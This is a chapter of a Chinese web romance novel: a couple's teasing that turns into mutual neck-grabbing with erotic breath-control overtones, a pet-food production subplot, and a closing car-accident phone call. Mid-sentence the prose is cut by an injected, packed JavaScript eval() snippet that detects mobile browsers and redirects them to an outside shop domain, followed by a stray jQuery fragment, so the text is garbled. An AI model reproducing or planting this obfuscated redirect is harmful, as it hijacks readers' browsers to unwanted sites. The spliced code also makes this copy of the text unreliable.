大约过了半小时,林桑渔在睡梦中醒过来,看见江闻折立在她旁边,高大身形落下的影子将她悉数包裹起来。
林桑渔还以为他是在给自己挡从树叶缝隙中漏下的阳光,于是感激地说:“谢谢你啊。”
江闻折听完就笑了:“不客气。”
林桑渔一头雾水,下意识抬手,想揉一揉眼睛直起身,指尖却碰到了她脸颊上粘着的团团泥渍,刹那间,她忽然读懂了江闻折刚刚的那抹笑。
“江闻折你真小心眼!你怎么这么闲,我讨厌你!”
林桑渔被点燃,对着江闻折破口大骂,可翻过去翻过来,也是那几句毫无威慑力的话。并且脸上的小花猫随着林桑渔说话时牵动的面部肌肉,变得栩栩如生了起来。
嘴角的笑意更浓,江闻折笑得胸腔都在抖。
“你还笑,你还笑,不许笑了。”林桑渔看着他,火越来越大,起身站在巨石上,伸手就准备去捂江闻折的嘴。
江闻折偏头,轻松躲过。
“不笑了,不笑了,我给你洗脸。”话虽这么说,但江闻折连嘴角的弧度也不曾压下去一分。
“要给我打井水。”林桑渔学着江闻折的模样,说道。
“行,要井水。”江闻折咬字散漫,带着点戏谑味,重复了遍。
林桑渔颐指气使:“快点,只给你一分钟时间。”
“行,”江闻折干活利索,还真不到一分钟打完井水回来,蹲在林桑渔旁边,说,“洗脸了,小花猫。”
想到自己刚刚很痛地搓江闻折的胳膊,林桑渔后知后觉地心虚,抿唇道:“你记得轻一点,不能报复我。”
“那必须报复你啊。”
江闻折慢条斯理地抬手,轻轻掐住林桑渔的脖子,大拇指抵住她的下颌,迫使林桑渔完全抬起头,整张脸暴露在他的视线下。
一些零碎的记忆不受控制地浮现在脑中,林桑渔的睫毛簌簌抖动。
江闻折全然不觉自己下意识的所作所为,俯身用另一只手将纸巾浸满井水,眉眼专注,很温柔地擦拭林桑渔脸上的泥土。
“小花猫变干净了。”江闻折抽回手,盯着林桑渔重新变干净的脸蛋,说道。
江闻折看得认真,毫不设防,没注意到林桑渔手上的动作。
下一秒,林桑渔突然伸出双手,笑着,学着江闻折的样子,掐住江闻折的脖颈。
喉结在林桑渔汗湿的掌心里滚动。
江闻折眼底闪过意外之色,一种莫名的满足感挤占胸腔。
他们那个圈子说实话,玩得很花。江闻折耳濡目染,知道有种可以控制呼吸的颈I圈,带上去,控制者可以掌控一切,可以肆意欣赏身I下之人濒临死亡而痛苦呜咽的神色,而他们唯一的救赎与希望,就是手握遥控器,痴妄变态的控制者。
正常的人变成了仰人鼻息的阶下囚。
变态的人被捧成了高高在上的神明。
江闻折如今恍然发觉,掌控和被掌控的感觉,好像都很不错。
只要对象是林桑渔,就很好。
林桑渔的手指逐渐缩紧,她说:“你现在什么感受?江闻折。”
很爽,爽得他头皮发麻。江闻折的呼吸有一瞬的紊乱,他漆黑的眸子如同波澜不惊的海面,但海面之下是汹涌滚烫、蓄势待发的炽热岩浆。
他嘴角弧度不变,笑着说:“再重一点,宝宝。”
*
正午的厨房氤氲着饭菜香,江闻折将他们摘的莲藕洗净,慢炖出一锅莲藕排骨汤,还卤了一部分做成小菜,清清爽爽,适配夏天的燥热。
谢魏庭从养殖场带回一只鹅和鸡,做了点其他菜。
林桑渔则变成了专业打下手二十年的助理,一会儿帮帮江闻折刮藕,一会儿帮着谢魏庭炒菜。
一顿饭吃得热热闹闹,吃完后,林桑渔起身去厂里敲定动物零食最后的生产细则。
平价动物零食大多用料不干净,全是劣质边角料,为了掩盖原料本身的异味,让小动物能够吃下,厂商不惜加入过量复合诱食剂。
早有行业新闻曝光,部分不良企业为了压低成本,甚至往猫粮里加入泥土,泥土颜色与猫粮颜色一致,养宠人士根本发现不了。猫咪们在强诱食剂的诱惑下,也会在饥饿中吞下那所谓的猫粮。
林桑渔不想再延续这种现状。
可当她和工厂核算完全采用优质鲜肉、无多余诱食剂的配方成本后,现实问题摆在了眼前。
高标准原料带来了居高不下的生产成本。
成本高意味着售价要高,远超市场水准,在大众消费市场里毫无价格竞争力,即便她现在坐拥几十万粉丝大概率也会面临滞销问题,这是一个绕不开死胡同。
林桑渔闷闷不乐地盯着负责人递过来的成本测算表。
唉,好难,比她想的还难。
江闻折处理完他那边的事,重新回来,就看见林桑渔耷拉个头,垂头丧气的。
“怎么了?”他走近揉了揉林桑渔的头。
林桑渔下意识说:“没什么。”
江闻折的语气顿时冷了下来:“怎么?你要什么事都埋心里,不跟我说吗?”
“我只是觉得我可以处理好,不想让你分心,你也有自己要做的事,不是吗?”林桑渔说。
“你知道在我看来报喜不报忧的本质是什么吗?”江闻折轻捏住林桑渔的耳垂。
“什么?”林桑渔顺着他的话问。
江闻折面无表情地说道:“是你看不起我,你觉得我不具备帮你解决事情的能力。”
“怎么可能看不起你。”
林桑渔在心里跟了句,你看不起我还差不多。
“你不想跟我分享你目前的困难,是因为你觉得如果这件事情抛给了我,我会去担心,会费神去帮你,还可能解决不好,是吗?”
就像很多在外受了委屈的孩子,宁愿自己一个人窝在被窝里失声痛哭,也不愿去跟父母倾诉一样,这是一个道理。
父母与子女存在时代的隔阂,认知脱节,当孩子长大成人,普通父母往往已经不具备解决子女问题的能力。所以孩子才不愿意去倾诉,因为这除了让父母徒劳地担忧,白白地焦虑外,起不到任何作用。
简而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731999|205654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
言之就是,你没用,告诉你了也没用。
这种凡事只报喜、隐瞒愁的做法,也常常被世人歌颂,视作一个人坚强独立的体现。
可这种现象落在被不报忧的那方,落在江闻折的眼里,这跟折辱了他简直没区别。
一个男人,如果不具备解决爱人麻烦的能力,还算是男人吗?
不如去阉了。
林桑渔点点头,算是默认。
江闻折叹了口气,说:“你的问题我都可以解决,我也不觉得是个麻烦,我或许比你想的要更厉害一点。”
林桑渔纠结了下,坚持说:“我还是想自己解决,我想更独立一点。”
江闻折已经帮了自己很多了,哪怕一点点,林桑渔也不想再去麻烦。
她虽然当人不久,但这不是可以理所应当去依赖的借口,她要成长,她要独立,她想有朝一日也可以独当一面。
俊美的脸被阴霾笼罩,江闻折锐利的眼睛微眯,片刻后说道:“林桑渔长大了,那我支持你。”
林桑渔松了一口气,眉眼舒展开来:“嗯,这里无聊,你先回去吧,我等会儿跟他们一起走。”
“好,那我在家等你。”
江闻折扯出一抹扭曲的笑,将自己面上的阴霾切割成细碎的片。
林桑渔被他的表情弄得一怔,但是江闻折暗地里发疯也不是一两次了,过了阵子就好了,回家后就跟他商量一下,再多看几次心理医生就好了。
应该就好了。
所以她还是强撑镇定,轻松地安抚他说:“好,我忙完就回来。”
说完再见后,江闻折高挑的背影很快彻底消失在视野里,林桑渔俯案重新工作。
在原料标准问题上,她还是不愿意让步任何,她做不到身为一只动物,却眼睁睁地昧着良心去替换哪怕稍微劣质一点的原料。
一个念头在她心底慢慢成型。
适当压缩单品利润,把终端售价控制在大众可接受的区间,走薄利多销的长线运营模式,用销量来平衡高昂的原料成本。
这个世界有那么多争名夺利的人,所以才会把基本的良知湮没。
林桑渔不愿落入行业逐利的循环黑洞,况且她现在拍视频和做直播其实也已经能赚很多钱了,没必要再昧着良心在这方面捞油水。
想法笃定下来,林桑渔当即和工厂负责人敲定了全部生产细则,敲定原料配比、生产规格等最终事宜,正式签下了合作生产合同。
江闻折肯定也会理解她的。
林桑渔想到这,手机突然响了。
林桑渔一看,是个陌生号码,不过还是接了。
听筒里传来一阵阵急杂的人声,混着刺耳的汽车喇叭声。
林桑渔皱眉,把手机离耳朵远了点。
搞什么,恶搞吗?
接着,她就听见对面说:“你好,请问是林小姐吗?江闻折出车祸了,我们现在正在前往往京城中心医院,你是他的紧急联系人,可以现在过来一下吗?”
啪嗒——
手机从手掌中脱落,垂直摔在地上,屏幕应声碎掉。